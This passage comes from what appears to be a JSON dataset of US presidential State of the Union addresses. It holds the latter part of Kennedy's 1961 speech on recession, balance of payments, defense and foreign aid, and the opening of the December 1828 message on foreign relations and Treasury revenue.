ours can endure. The outcome is by no means certain.\nThe answers are by no means clear. All of us together--this Administration,\nthis Congress, this nation--must forge those answers.But today, were I to offer--after little more than a week in\noffice--detailed legislation to remedy every national ill, the Congress\nwould rightly wonder whether the desire for speed had replaced the duty of\nresponsibility.My remarks, therefore, will be limited. But they will also be candid. To\nstate the facts frankly is not to despair the future nor indict the past.\nThe prudent heir takes careful inventory of his legacies, and gives a\nfaithful accounting to those whom he owes an obligation of trust. And,\nwhile the occasion does not call for another recital of our blessings and\nassets, we do have no greater asset than the willingness of a free and\ndetermined people, through its elected officials, to face all problems\nfrankly and meet all dangers free from panic or fear.I.The present state of our economy is disturbing. We take office in the wake\nof seven months of recession, three and one-half years of slack, seven\nyears of diminished economic growth, and nine years of falling farm\nincome.Business bankruptcies have reached their highest level since the Great\nDepression. Since 1951 farm income has been squeezed down by 25 percent.\nSave for a brief period in 1958, insured unemployment is at the highest\npeak in our history. Of some five and one-half million Americans who are\nwithout jobs, more than one million have been searching for work for more\nthan four months. And during each month some 150,000 workers are exhausting\ntheir already meager jobless benefit rights.Nearly one-eighth of those who are without jobs live almost without hope\nin nearly one hundred especially depressed and troubled areas. The rest\ninclude new school graduates unable to use their talents, farmers forced to\ngive up their part-time jobs which helped balance their family budgets,\nskilled and unskilled workers laid off in such important industries as\nmetals, machinery, automobiles and apparel.Our recovery from the 1958 recession, moreover, was anemic and incomplete.\nOur Gross National Product never regained its full potential. Unemployment\nnever returned to normal levels. Maximum use of our national industrial\ncapacity was never restored.In short, the American economy is in trouble. The most resourceful\nindustrialized country on earth ranks among the last in the rate of\neconomic growth. Since last spring our economic growth rate has actually\nreceded. Business investment is in a decline. Profits have fallen below\npredicted levels. Construction is off. A million unsold automobiles are in\ninventory. Fewer people are working--and the average work week has shrunk\nwell below 40 hours. Yet prices have continued to rise--so that now too\nmany Americans have less to spend for items that cost more to buy.Economic prophecy is at best an uncertain art--as demonstrated by the\nprediction one year ago from this same podium that 1960 would be, and I\nquote, \"the most prosperous year in our history.\" Nevertheless, forecasts\nof continued slack and only slightly reduced unemployment through 1961 and\n1962 have been made with alarming unanimity--and this Administration does\nnot intend to stand helplessly by.We cannot afford to waste idle hours and empty plants while awaiting the\nend of the recession. We must show the world what a free economy can do--to\nreduce unemployment, to put unused capacity to work, to spur new\nproductivity, and to foster higher economic growth within a range of sound\nfiscal policies and relative price stability.I will propose to the Congress within the next 14 days measures to improve\nunemployment compensation through temporary increases in duration on a\nself-supporting basis--to provide more food for the families of the\nunemployed, and to aid their needy children--to redevelop our areas of\nchronic labor surplus--to expand the services of the U.S. Employment\nOffices--to stimulate housing and construction--to secure more purchasing\npower for our lowest paid workers by raising and expanding the minimum\nwage--to offer tax incentives for sound plant investment--to increase the\ndevelopment of our natural resources--to encourage price stability--and to\ntake other steps aimed at insuring a prompt recovery and paving the way for\nincreased long-range growth. This is not a partisan program concentrating\non our weaknesses--it is, I hope, a national program to realize our\nnational strength.II.Efficient expansion at home, stimulating the new plant and technology that\ncan make our goods more competitive, is also the key to the international\nbalance of payments problem. Laying aside all alarmist talk and panicky\nsolutions, let us put that knotty problem in its proper perspective.It is true that, since 1958, the gap between the dollars we spend or\ninvest abroad and the dollars returned to us has substantially widened.\nThis overall deficit in our balance of payments increased by nearly $11\nbillion in the 3 years--and holders of dollars abroad converted them\nto gold in such a quantity as to cause a total outflow of nearly $5\nbillion of gold from our reserve. The 1959 deficit was caused in large\npart by the failure of our exports to penetrate foreign markets--the\nresult both of restrictions on our goods and our own uncompetitive\nprices. The 1960 deficit, on the other hand, was more the result of an\nincrease in private capital outflow seeking new opportunity, higher\nreturn or speculative advantage abroad.Meanwhile this country has continued to bear more than its share of the\nWest's military and foreign aid obligations. Under existing policies,\nanother deficit of $2 billion is predicted for 1961--and individuals in\nthose countries whose dollar position once depended on these deficits for\nimprovement now wonder aloud whether our gold reserves will remain\nsufficient to meet our own obligations.All this is cause for concern--but it is not cause for panic. For our\nmonetary and financial position remains exceedingly strong. Including our\ndrawing rights in the International Monetary Fund and the gold reserve held\nas backing for our currency and Federal Reserve deposits, we have some $22\nbillion in total gold stocks and other international monetary reserves\navailable--and I now pledge that their full strength stands behind the\nvalue of the dollar for use if needed.Moreover, we hold large assets abroad--the total owed this nation far\nexceeds the claims upon our reserves--and our exports once again\nsubstantially exceed our imports.In short, we need not--and we shall not--take any action to increase the\ndollar price of gold from $35 an ounce--to impose exchange controls--to\nreduce our anti-recession efforts--to fall back on restrictive trade\npolicies--or to weaken our commitments around the world.This Administration will not distort the value of the dollar in any\nfashion. And this is a commitment.Prudence and good sense do require, however, that new steps be taken to\nease the payments deficit and prevent any gold crisis. Our success in world\naffairs has long depended in part upon foreign confidence in our ability to\npay. A series of executive orders, legislative remedies and cooperative\nefforts with our allies will get underway immediately--aimed at attracting\nforeign investment and travel to this country--promoting American exports,\nat stable prices and with more liberal government guarantees and\nfinancing--curbing tax and customs loopholes that encourage undue spending\nof private dollars abroad--and (through OECD, NATO and otherwise) sharing\nwith our allies all efforts to provide for the common defense of the free\nworld and the hopes for growth of the less developed lands. While the\ncurrent deficit lasts, ways will be found to ease our dollar outlays abroad\nwithout placing the full burden on the families of men whom we have asked\nto serve our Flag overseas.In short, whatever is required will be done to back up all our efforts\nabroad, and to make certain that, in the future as in the past, the dollar\nis as \"sound as a dollar.\"III.But more than our exchange of international payments is out of balance.\nThe current Federal budget for fiscal 1961 is almost certain to show a\nnet deficit. The budget already submitted for fiscal 1962 will remain in\nbalance only if the Congress enacts all the revenue measures requested--and\nonly if an earlier and sharper up-turn in the economy than my economic\nadvisers now think likely produces the tax revenues estimated.\nNevertheless, a new Administration must of necessity build on the spending\nand revenue estimates already submitted. Within that framework, barring the\ndevelopment of urgent national defense needs or a worsening of the economy,\nit is my current intention to advocate a program of expenditures which,\nincluding revenues from a stimulation of the economy, will not of and by\nthemselves unbalance the earlier Budget.However, we will do what must be done. For our national household is\ncluttered with unfinished and neglected tasks. Our cities are being\nengulfed in squalor. Twelve long years after Congress declared our goal to\nbe \"a decent home and a suitable environment for every American family,\" we\nstill have 25 million Americans living in substandard homes. A new housing\nprogram under a new Housing and Urban Affairs Department will be needed\nthis year.Our classrooms contain 2 million more children than they can properly have\nroom for, taught by 90,000 teachers not properly qualified to teach. One\nthird of our most promising high school graduates are financially unable to\ncontinue the development of their talents. The war babies of the 1940's,\nwho overcrowded our schools in the 1950's, are now descending in 1960 upon\nour colleges--with two college students for every one, ten years from\nnow--and our colleges are ill prepared. We lack the scientists, the\nengineers and the teachers our world obligations require. We have neglected\noceanography, saline water conversion, and the basic research that lies at\nthe root of all progress. Federal grants for both higher and public school\neducation can no longer be delayed.Medical research has achieved new wonders--but these wonders are too often\nbeyond the reach of too many people, owing to a lack of income\n(particularly among the aged), a lack of hospital beds, a lack of nursing\nhomes and a lack of doctors and dentists. Measures to provide health care\nfor the aged under Social Security, and to increase the supply of both\nfacilities and personnel, must be undertaken this year.Our supply of clean water is dwindling. Organized and juvenile crimes cost\nthe taxpayers millions of dollars each year, making it essential that we\nhave improved enforcement and new legislative safeguards. The denial of\nconstitutional rights to some of our fellow Americans on account of\nrace--at the ballot box and elsewhere--disturbs the national conscience,\nand subjects us to the charge of world opinion that our democracy is not\nequal to the high promise of our heritage. Morality in private business\nhas not been sufficiently spurred by morality in public business. A host\nof problems and projects in all 50 States, though not possible to include\nin this Message, deserves--and will receive--the attention of both the\nCongress and the Executive Branch. On most of these matters, Messages will\nbe sent to the Congress within the next two weeks.IV.But all these problems pale when placed beside those which confront us\naround the world. No man entering upon this office, regardless of his\nparty, regardless of his previous service in Washington, could fail to be\nstaggered upon learning--even in this brief 10 day period--the harsh\nenormity of the trials through which we must pass in the next four years.\nEach day the crises multiply. Each day their solution grows more difficult.\nEach day we draw nearer the hour of maximum danger, as weapons spread and\nhostile forces grow stronger. I feel I must inform the Congress that our\nanalyses over the last ten days make it clear that--in each of the\nprincipal areas of crisis--the tide of events has been running out and time\nhas not been our friend.In Asia, the relentless pressures of the Chinese Communists menace the\nsecurity of the entire area--from the borders of India and South Viet Nam\nto the jungles of Laos, struggling to protect its newly-won independence.\nWe seek in Laos what we seek in all Asia, and, indeed, in all of the\nworld--freedom for the people and independence for the government. And this\nNation shall persevere in our pursuit of these objectives.In Africa, the Congo has been brutally torn by civil strife, political\nunrest and public disorder. We shall continue to support the heroic\nefforts of the United Nations to restore peace and order--efforts which\nare now endangered by mounting tensions, unsolved problems, and decreasing\nsupport from many member states.In Latin America, Communist agents seeking to exploit that region's\npeaceful revolution of hope have established a base on Cuba, only 90 miles\nfrom our shores. Our objection with Cuba is not over the people's drive for\na better life. Our objection is to their domination by foreign and domestic\ntyrannies. Cuban social and economic reform should be encouraged. Questions\nof economic and trade policy can always be negotiated. But Communist\ndomination in this Hemisphere can never be negotiated.We are pledged to work with our sister Republics to free the Americas of\nall such foreign domination and all tyranny, working toward the goal of a\nfree hemisphere of free governments, extending from Cape Horn to the Arctic\nCircle.In Europe our alliances are unfulfilled and in some disarray. The unity of\nNATO has been weakened by economic rivalry and partially eroded by national\ninterest. It has not yet fully mobilized its resources nor fully achieved a\ncommon outlook. Yet no Atlantic power can meet on its own the mutual\nproblems now facing us in defense, foreign aid, monetary reserves, and a\nhost of other areas; and our close ties with those whose hopes and\ninterests we share are among this Nation's most powerful assets.Our greatest challenge is still the world that lies beyond the Cold\nWar--but the first great obstacle is still our relations with the Soviet\nUnion and Communist China. We must never be lulled into believing that\neither power has yielded its ambitions for world domination--ambitions\nwhich they forcefully restated only a short time ago. On the contrary, our\ntask is to convince them that aggression and subversion will not be\nprofitable routes to pursue these ends. Open and peaceful competition--for\nprestige, for markets, for scientific achievement, even for men's minds--is\nsomething else again. For if Freedom and Communism were to compete for\nman's allegiance in a world at peace, I would look to the future with ever\nincreasing confidence.To meet this array of challenges--to fulfill the role we cannot avoid on\nthe world scene--we must reexamine and revise our whole arsenal of tools:\nmilitary, economic and political.One must not overshadow the other. On the Presidential Coat of Arms, the\nAmerican eagle holds in his right talon the olive branch, while in his left\nhe holds a bundle of arrows. We intend to give equal attention to both.First, we must strengthen our military tools. We are moving into a period\nof uncertain risk and great commitment in which both the military and\ndiplomatic possibilities require a Free World force so powerful as to make\nany aggression clearly futile. Yet in the past, lack of a consistent,\ncoherent military strategy, the absence of basic assumptions about our\nnational requirements and the faulty estimates and duplication arising from\ninter-service rivalries have all made it difficult to assess accurately how\nadequate--or inadequate--our defenses really are.I have, therefore, instructed the Secretary of Defense to reappraise our\nentire defense strategy--our ability to fulfill our commitments--the\neffectiveness, vulnerability, and dispersal of our strategic bases, forces\nand warning systems--the efficiency and economy of our operation and\norganization--the elimination of obsolete bases and installations--and the\nadequacy, modernization and mobility of our present conventional and\nnuclear forces and weapons systems in the light of present and future\ndangers. I have asked for preliminary conclusions by the end of\nFebruary--and I then shall recommend whatever legislative, budgetary or\nexecutive action is needed in the light of these conclusions.In the meantime, I have asked the Defense Secretary to initiate immediately\nthree new steps most clearly needed now:First, I have directed prompt attention to increase our air-lift capacity.\nObtaining additional air transport mobility--and obtaining it now--will\nbetter assure the ability of our conventional forces to respond, with\ndiscrimination and speed, to any problem at any spot on the globe at any\nmoment's notice. In particular it will enable us to meet any deliberate\neffort to avoid or divert our forces by starting limited wars in widely\nscattered parts of the globe.(b) I have directed prompt action to step up our Polaris submarine program.\nUsing unobligated ship-building funds now (to let contracts originally\nscheduled for the next fiscal year) will build and place on station--at\nleast nine months earlier than planned--substantially more units of a\ncrucial deterrent--a fleet that will never attack first, but possess\nsufficient powers of retaliation, concealed beneath the seas, to discourage\nany aggressor from launching an attack upon our security.(c) I have directed prompt action to accelerate our entire missile program.\nUntil the Secretary of Defense's reappraisal is completed, the emphasis\nhere will be largely on improved organization and decision-making--on\ncutting down the wasteful duplications and the time-lag that have\nhandicapped our whole family of missiles. If we are to keep the peace, we\nneed an invulnerable missile force powerful enough to deter any aggressor\nfrom even threatening an attack that he would know could not destroy enough\nof our force to prevent his own destruction. For as I said upon taking the\noath of office: \"Only when our arms are sufficient beyond doubt can we be\ncertain beyond doubt that they will never be employed.\"Secondly, we must improve our economic tools. Our role is essential and\nunavoidable in the construction of a sound and expanding economy for the\nentire non-communist world, helping other nations build the strength to\nmeet their own problems, to satisfy their own aspirations--to surmount\ntheir own dangers. The problems in achieving this goal are towering and\nunprecedented--the response must be towering and unprecedented as well,\nmuch as Lend-Lease and the Marshall Plan were in earlier years, which\nbrought such fruitful results.(a) I intend to ask the Congress for authority to establish a new and more\neffective program for assisting the economic, educational and social\ndevelopment of other countries and continents. That program must stimulate\nand take more effectively into account the contributions of our allies, and\nprovide central policy direction for all our own programs that now so often\noverlap, conflict or diffuse our energies and resources. Such a program,\ncompared to past programs, will require--more flexibility for short run emergencies--more commitment to long term development--new attention to education at\nall levels--greater emphasis on the recipient nation's role, their effort,\ntheir purpose, with greater social justice for their people, broader\ndistribution and participation by their people and more efficient public\nadministration and more efficient tax systems of their own--and orderly planning for national and regional development instead of a\npiecemeal approach.I hope the Senate will take early action approving the Convention\nestablishing the Organization for Economic Cooperation and Development.\nThis will be an important instrument in sharing with our allies this\ndevelopment effort--working toward the time when each nation will\ncontribute in proportion to its ability to pay. For, while we are prepared\nto assume our full share of these huge burdens, we cannot and must not be\nexpected to bear them alone.To our sister republics to the south, we have pledged a new alliance for\nprogress--alianza para progreso. Our goal is a free and prosperous Latin\nAmerica, realizing for all its states and all its citizens a degree of\neconomic and social progress that matches their historic contributions of\nculture, intellect and liberty. To start this nation's role at this time in\nthat alliance of neighbors, I am recommending the following:--That the Congress appropriate in full the $500 million fund pledged by\nthe Act of Bogota, to be used not as an instrument of the Cold War, but as\na first step in the sound development of the Americas.--That a new Inter-Departmental Task Force be established under the\nleadership of the Department of State, to coordinate at the highest level\nall policies and programs of concern to the Americas.--That our delegates to the OAS, working with those of other members,\nstrengthen that body as an instrument to preserve the peace and to prevent\nforeign domination anywhere in the Hemisphere.--That, in cooperation with other nations, we launch a new hemispheric\nattack on illiteracy and inadequate educational opportunities to all\nlevels; and, finally,--That a Food-for-Peace mission be sent immediately to Latin America to\nexplore ways in which our vast food abundance can be used to help end\nhunger and malnutrition in certain areas of suffering in our own\nhemisphere.This Administration is expanding its Food-for-Peace Program in every\npossible way. The product of our abundance must be used more effectively to\nrelieve hunger and help economic growth in all corners of the globe. And I\nhave asked the Director of this Program to recommend additional ways in\nwhich these surpluses can advance the interests of world peace--including\nthe establishment of world food reserves.An even more valuable national asset is our reservoir of dedicated men and\nwomen--not only on our college campuses but in every age group--who have\nindicated their desire to contribute their skills, their efforts, and a\npart of their lives to the fight for world order. We can mobilize this\ntalent through the formation of a National Peace Corps, enlisting the\nservices of all those with the desire and capacity to help foreign lands\nmeet their urgent needs for trained personnel.Finally, while our attention is centered on the development of the non-\ncommunist world, we must never forget our hopes for the ultimate freedom\nand welfare of the Eastern European peoples. In order to be prepared to\nhelp re-establish historic ties of friendship, I am asking the Congress\nfor increased discretion to use economic tools in this area whenever\nthis is found to be clearly in the national interest. This will require\namendment of the Mutual Defense Assistance Control Act along the lines I\nproposed as a member of the Senate, and upon which the Senate voted last\nsummer. Meanwhile, I hope to explore with the Polish government the\npossibility of using our frozen Polish funds on projects of peace that\nwill demonstrate our abiding friendship for and interest in the people\nof Poland.Third, we must sharpen our political and diplomatic tools--the means of\ncooperation and agreement on which an enforceable world order must\nultimately rest.I have already taken steps to coordinate and expand our disarmament\neffort--to increase our programs of research and study--and to make arms\ncontrol a central goal of our national policy under my direction. The\ndeadly arms race, and the huge resources it absorbs, have too long\novershadowed all else we must do. We must prevent that arms race from\nspreading to new nations, to new nuclear powers and to the reaches of outer\nspace. We must make certain that our negotiators are better informed and\nbetter prepared--to formulate workable proposals of our own and to make\nsound judgments about the proposals of others.I have asked the other governments concerned to agree to a reasonable delay\nin the talks on a nuclear test ban--and it is our intention to resume\nnegotiations prepared to reach a final agreement with any nation that is\nequally willing to agree to an effective and enforceable treaty.We must increase our support of the United Nations as an instrument to end\nthe Cold War instead of an arena in which to fight it. In recognition of\nits increasing importance and the doubling of its membership--we are enlarging and strengthening our own mission to the U.N.--we shall help insure that it is properly financed.--we shall work to see that the integrity of the office of the\nSecretary-General is maintained.--And I would address a special plea to the smaller nations of the\nworld--to join with us in strengthening this organization, which is far\nmore essential to their security than it is to ours--the only body in the\nworld where no nation need be powerful to be secure, where every nation has\nan equal voice, and where any nation can exert influence not according to\nthe strength of its armies but according to the strength of its ideas. It\ndeserves the support of all.Finally, this Administration intends to explore promptly all possible areas\nof cooperation with the Soviet Union and other nations \"to invoke the\nwonders of science instead of its terrors.\" Specifically, I now invite all\nnations--including the Soviet Union--to join with us in developing a\nweather prediction program, in a new communications satellite program and\nin preparation for probing the distant planets of Mars and Venus, probes\nwhich may someday unlock the deepest secrets of the universe.Today this country is ahead in the science and technology of space, while\nthe Soviet Union is ahead in the capacity to lift large vehicles into\norbit. Both nations would help themselves as well as other nations by\nremoving these endeavors from the bitter and wasteful competition of the\nCold War. The United States would be willing to join with the Soviet Union\nand the scientists of all nations in a greater effort to make the fruits\nof this new knowledge available to all--and, beyond that, in an effort to\nextend farm technology to hungry nations--to wipe out disease--to increase\nthe exchanges of scientists and their knowledge--and to make our own\nlaboratories available to technicians of other lands who lack the\nfacilities to pursue their own work. Where nature makes natural allies of\nus all, we can demonstrate that beneficial relations are possible even\nwith those with whom we most deeply disagree--and this must someday be the\nbasis of world peace and world law.V.I have commented on the state of the domestic economy, our balance of\npayments, our Federal and social budget and the state of the world. I would\nlike to conclude with a few remarks about the state of the Executive\nbranch. We have found it full of honest and useful public servants--but\ntheir capacity to act decisively at the exact time action is needed has too\noften been muffled in the morass of committees, timidities and fictitious\ntheories which have created a growing gap between decision and execution,\nbetween planning and reality. In a time of rapidly deteriorating situations\nat home and abroad, this is bad for the public service and particularly bad\nfor the country; and we mean to make a change.I have pledged myself and my colleagues in the cabinet to a continuous\nencouragement of initiative, responsibility and energy in serving the\npublic interest. Let every public servant know, whether his post is high or\nlow, that a man's rank and reputation in this Administration will be\ndetermined by the size of the job he does, and not by the size of his\nstaff, his office or his budget. Let it be clear that this Administration\nrecognizes the value of dissent and daring--that we greet healthy\ncontroversy as the hallmark of healthy change. Let the public service be a\nproud and lively career. And let every man and woman who works in any area\nof our national government, in any branch, at any level, be able to say\nwith pride and with honor in future years: \"I served the United States\ngovernment in that hour of our nation's need.\"For only with complete dedication by us all to the national interest can we\nbring our country through the troubled years that lie ahead. Our problems\nare critical. The tide is unfavorable. The news will be worse before it is\nbetter. And while hoping and working for the best, we should prepare\nourselves now for the worst.We cannot escape our dangers--neither must we let them drive us into panic\nor narrow isolation. In many areas of the world where the balance of power\nalready rests with our adversaries, the forces of freedom are sharply\ndivided. It is one of the ironies of our time that the techniques of a\nharsh and repressive system should be able to instill discipline and ardor\nin its servants--while the blessings of liberty have too often stood for\nprivilege, materialism and a life of ease.But I have a different view of liberty.Life in 1961 will not be easy. Wishing it, predicting it, even asking for\nit, will not make it so. There will be further setbacks before the tide is\nturned. But turn it we must. The hopes of all mankind rest upon us--not\nsimply upon those of us in this chamber, but upon the peasant in Laos, the\nfisherman in Nigeria, the exile from Cuba, the spirit that moves every man\nand Nation who shares our hopes for freedom and the future. And in the\nfinal analysis, they rest most of all upon the pride and perseverance of\nour fellow citizens of the great Republic.In the words of a great President, whose birthday we honor today, closing\nhis final State of the Union Message sixteen years ago, \"We pray that we\nmay be worthy of the unlimited opportunities that God has given us.\"", 
+    "name": "John F. Kennedy"
+}
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+{
+    "date": "December 2, 1828", 
+    "speech": "Fellow Citizens of the Senate and of the House of Representatives:If the enjoyment in profusion of the bounties of Providence forms a\nsuitable subject of mutual gratulation and grateful acknowledgment, we\nare admonished at this return of the season when the representatives of\nthe nation are assembled to deliberate upon their concerns to offer up\nthe tribute of fervent and grateful hearts for the never failing\nmercies of Him who ruleth over all. He has again favored us with\nhealthful seasons and abundant harvests; He has sustained us in peace\nwith foreign countries and in tranquillity within our borders; He has\npreserved us in the quiet and undisturbed possession of civil and\nreligious liberty; He has crowned the year with His goodness, imposing\non us no other condition than of improving for our own happiness the\nblessings bestowed by His hands, and, in the fruition of all His\nfavors, of devoting his faculties with which we have been endowed by\nHim to His glory and to our own temporal and eternal welfare.In the relations of our Federal Union with our brethren of the human\nrace the changes which have occurred since the close of your last\nsession have generally tended to the preservation of peace and to the\ncultivation of harmony. Before your last separation a war had unhappily\nbeen kindled between the Empire of Russia, one of those with which our\nintercourse has been no other than a constant exchange of good offices,\nand that of the Ottoman Porte, a nation from which geographical\ndistance, religious opinions and maxims of government on their part\nlittle suited to the formation of those bonds of mutual benevolence\nwhich result from the benefits of commerce had department us in a\nstate, perhaps too much prolonged, of coldness and alienation.The extensive, fertile, and populous dominions of the Sultan belong\nrather to the Asiatic than the European division of the human family.\nThey enter but partially into the system of Europe, nor have their wars\nwith Russia and Austria, the European States upon which they border,\nfor more than a century past disturbed the pacific relations of those\nStates with the other great powers of Europe. Neither France nor\nPrussia nor Great Britain has ever taken part in them, nor is it to be\nexpected that they will at this time. The declaration of war by Russia\nhas received the approbation or acquiescence of her allies, and we may\nindulge the hope that its progress and termination will be signalized\nby the moderation and forbearance no less than by the energy of the\nEmperor Nicholas, and that it will afford the opportunity for such\ncollateral agency in behalf of the suffering Greeks as will secure to\nthem ultimately the triumph of humanity and of freedom.The state of our particular relations with France has scarcely varied\nin the course of the present year. The commercial intercourse between\nthe two countries has continued to increase for the mutual benefit of\nboth. The claims of indemnity to numbers of our fellow citizens for\ndepredations upon their property, heretofore committed during the\nrevolutionary governments, remain unadjusted, and still form the\nsubject of earnest representation and remonstrance. Recent advices from\nthe minister of the United States at Paris encourage the expectation\nthat the appeal to the justice of the French Government will ere long\nreceive a favorable consideration.The last friendly expedient has been resorted to for the decision of\nthe controversy with Great Britain relating to the north-eastern\nboundary of the United States. By an agreement with the British\nGovernment, carrying into effect the provisions of the 5th article of\nthe treaty of Ghent, and the convention of September 29th, 1827, His\nMajesty the King of the Netherlands has by common consent been selected\nas the umpire between the parties. The proposal to him to accept the\ndesignation for the performance of this friendly office will be made at\nan early day, and the United States, relying upon the justice of their\ncause, will cheerfully commit the arbitrament of it to a prince equally\ndistinguished for the independence of his spirit, his indefatigable\nassiduity to the duties of his station, and his inflexible personal\nprobity.Our commercial relations with Great Britain will deserve the serious\nconsideration of Congress and the exercise of a conciliatory and\nforbearing spirit in the policy of both Governments. The state of them\nhas been materially changed by the act of Congress, passed at their\nlast session, in alteration of several acts imposing duties on imports,\nand by acts of more recent date of the British Parliament. The effect\nof the interdiction of direct trade, commenced by Great Britain and\nreciprocated by the United States, has been, as was to be foreseen,\nonly to substitute different channels for an exchange of commodities\nindispensable to the colonies and profitable to a numerous class of our\nfellow citizens. The exports, the revenue, the navigation of the United\nStates have suffered no diminution by our exclusion from direct access\nto the British colonies. The colonies pay more dearly for the\nnecessaries of life which their Government burdens with the charges of\ndouble voyages, freight, insurance, and commission, and the profits of\nour exports are somewhat impaired and more injuriously transferred from\none portion of our citizens to another.The resumption of this old and otherwise exploded system of colonial\nexclusion has not secured to the shipping interest of Great Britain the\nrelief which, at the expense of the distant colonies and of the United\nStates, it was expected to afford. Other measures have been resorted to\nmore pointedly bearing upon the navigation of the United States, and\nmore pointedly bearing upon the navigation of the United States, and\nwhich, unless modified by the construction given to the recent acts of\nParliament, will be manifestly incompatible with the positive\nstipulations of the commercial convention existing between the two\ncountries. That convention, however, may be terminated with 12 months'\nnotice, at the option of either party.A treaty of amity, navigation, and commerce between the United States\nand His Majesty the Emperor of Austria, King of Hungary and Bohemia,\nhas been prepared for signature by the Secretary of State and by the\nBaron de Lederer, intrusted with full powers of the Austrian\nGovernment. Independently of the new and friendly relations which may\nbe thus commenced with one of the most eminent and powerful nations of\nthe earth, the occasion has been taken in it, as in other recent\ntreaties concluded by the United States, to extend those principles of\nliberal intercourse and of fair reciprocity which intertwine with the\nexchanges of commerce the principles of justice and the feelings of\nmutual benevolence.This system, first proclaimed to the world in the first commercial\ntreaty ever concluded by the United States--that of February 6th, 1778,\nwith France--has been invariably the cherished policy of our Union. It\nis by treaties of commerce alone that it can be made ultimately to\nprevail as the established system of all civilized nations. With this\nprinciple our fathers extended the hand of friendship to every nation\nof the globe, and to this policy our country has ever since adhered.\nWhat ever of regulation in our laws has ever been adopted unfavorable\nto the interest of any foreign nation has been essentially defensive\nand counteracting to similar regulations of theirs operating against\nus.Immediately after the close of the War of Independence commissioners\nwere appointed by the Congress of the Confederation authorized to\nconclude treaties with every nation of Europe disposed to adopt them.\nBefore the wars of the French Revolution such treaties had been\nconsummated with the United Netherlands, Sweden, and Prussia. During\nthose wars treaties with Great Britain and Spain had been effected, and\nthose with Prussia and France renewed. In all these some concessions to\nthe liberal principles of intercourse proposed by the United States had\nbeen obtained; but as in all the negotiations they came occasionally in\ncollision with previous internal regulations or exclusive and excluding\ncompacts of monopoly with which the other parties had been trammeled,\nthe advances made in them toward the freedom of trade were partial and\nimperfect. Colonial establishments, chartered companies, and ship\nbuilding influence pervaded and encumbered the legislation of all the\ngreat commercial states; and the United States, in offering free trade\nand equal privilege to all, were compelled to acquiesce in many\nexceptions with each of the parties to their treaties, accommodated to\ntheir existing laws and anterior agreements.The colonial system by which this whole hemisphere was bound has fallen\ninto ruins, totally abolished by revolutions converting colonies into\nindependent nations throughout the two American continents, excepting a\nportion of territory chiefly at the northern extremity of our own, and\nconfined to the remnants of dominion retained by Great Britain over the\ninsular archipelago, geographically the appendages of our part of the\nglobe. With all the rest we have free trade, even with the insular\ncolonies of all the European nations, except Great Britain. Her\nGovernment also had manifested approaches to the adoption of a free and\nliberal intercourse between her colonies and other nations, though by a\nsudden and scarcely explained revulsion the spirit of exclusion has\nbeen revived for operation upon the United States alone.The conclusion of our last treaty of peace with Great Britain was\nshortly afterwards followed by a commercial convention, placing the\ndirect intercourse between the two countries upon a footing of more\nequal reciprocity than had ever before been admitted. The same\nprinciple has since been much further extended by treaties with France,\nSweden, Denmark, the Hanseatic cities, Prussia, in Europe, and with the\nRepublics of Colombia and of Central America, in this hemisphere. The\nmutual abolition of discriminating duties and charges upon the\nnavigation and commercial intercourse between the parties is the\ngeneral maxim which characterizes them all. There is reason to expect\nthat it will at no distant period be adopted by other nations, both of\nEurope and America, and to hope that by its universal prevalence one of\nthe fruitful sources of wars of commercial competition will be\nextinguished.Among the nations upon whose Governments many of our fellow citizens\nhave had long-pending claims of indemnity for depredations upon their\nproperty during a period when the rights of neutral commerce were\ndisregarded was that of Denmark. They were soon after the events\noccurred the subject of a special mission from the United States, at\nthe close of which the assurance was given by His Danish Majesty that\nat a period of more tranquillity and of less distress they would be\nconsidered, examined, and decided upon in a spirit of determined\npurpose for the dispensation of justice. I have much pleasure in\ninforming Congress that the fulfillment of this honorable promise is\nnow in progress; that a small portion of the claims has already been\nsettled to the satisfaction of the claimants, and that we have reason\nto hope that the remainder will shortly be placed in a train of\nequitable adjustment. This result has always been confidently expected,\nfrom the character of personal integrity and of benevolence which the\nSovereign of the Danish dominions has through every vicissitude of\nfortune maintained.The general aspect of the affairs of our neighboring American nations\nof the south has been rather of approaching than of settled\ntranquillity. Internal disturbances have been more frequent among them\nthan their common friends would have desired. Our intercourse with all\nhas continued to be that of friendship and of mutual good will.\nTreaties of commerce and of boundaries with the United Mexican States\nhave been negotiated, but, from various successive obstacles, not yet\nbrought to a final conclusion.The civil war which unfortunately still prevails in the Republics of\nCentral America has been unpropitious to the cultivation of our\ncommercial relations with them; and the dissensions and revolutionary\nchanges in the Republics of Colombia and of Peru have been seen with\ncordial regret by us, who would gladly contribute to the happiness of\nboth. It is with great satisfaction, however, that we have witnessed\nthe recent conclusion of a peace between the Governments of Buenos\nAyres and of Brazil, and it is equally gratifying to observe that\nindemnity has been obtained for some of the injuries which our fellow\ncitizens had sustained in the latter of those countries. The rest are\nin a train of negotiation, which we hope may terminate to mutual\nsatisfaction, and that it may be succeeded by a treaty of commerce and\nnavigation, upon liberal principles, propitious to a great and growing\ncommerce, already important to the interests of our country.The condition and prospects of the revenue are more favorable than our\nmost sanguine expectations had anticipated. The balance in the Treasury\non January 1st, 1828, exclusive of the moneys received under the\nconvention of November 13th, 1826, with Great Britain, was\n$5,861,972.83. The receipts into the Treasury from January 1st, 1828 to\nSeptember 30th, 1828, so far as they have been ascertained to form the\nbasis of an estimate, amount to $18,633,580.27, which, with the\nreceipts of the present quarter, estimated at $5,461,283.40, form an\naggregate of receipts during the year of $24,094,863.67. The\nexpenditures of the year may probably amount to $25,637,111.63, and\nleave in the Treasury on January 1st, 1829 the sum of $5,125,638.14.The receipts of the present year have amounted to near $2,000,000 more\nthan was anticipated at the commencement of the last session of\nCongress.The amount of duties secured on importations from the first of January\nto the 30th of September was about $22,997,000, and that of the\nestimated accruing revenue is $5,000,000, forming an aggregate for the\nyear of near $28,000,000. This is $1,000,000 more than the estimate\nlast December for the accruing revenue of the present year, which, with\nallowances for draw-backs and contingent deficiencies, was expected to\nproduce an actual revenue of $22,300,000. Had these only been realized\nthe expenditures of the year would have been also proportionally\nreduced, for of these $24,000,000 received upward of $9,000,000 have\nbeen applied to the extinction of public debt, bearing an interest of\n6% a year, and of course reducing the burden of interest annually\npayable in future by the amount of more than $500,000. The payments on\naccount of interest during the current year exceed $3,000,000,\npresenting an aggregate of more than $12,000,000 applied during the\nyear to the discharge of the public debt, the whole of which remaining\ndue on January 1st, 1829 will amount only to $58,362,135.78.That the revenue of the ensuing year will not fall short of that\nreceived in the one now expiring there are indications which can\nscarcely prove deceptive. In our country an uniform experience of 40\nyears has shown that what ever the tariff of duties upon articles\nimported from abroad has been, the amount of importations has always\nborne an average value nearly approaching to that of the 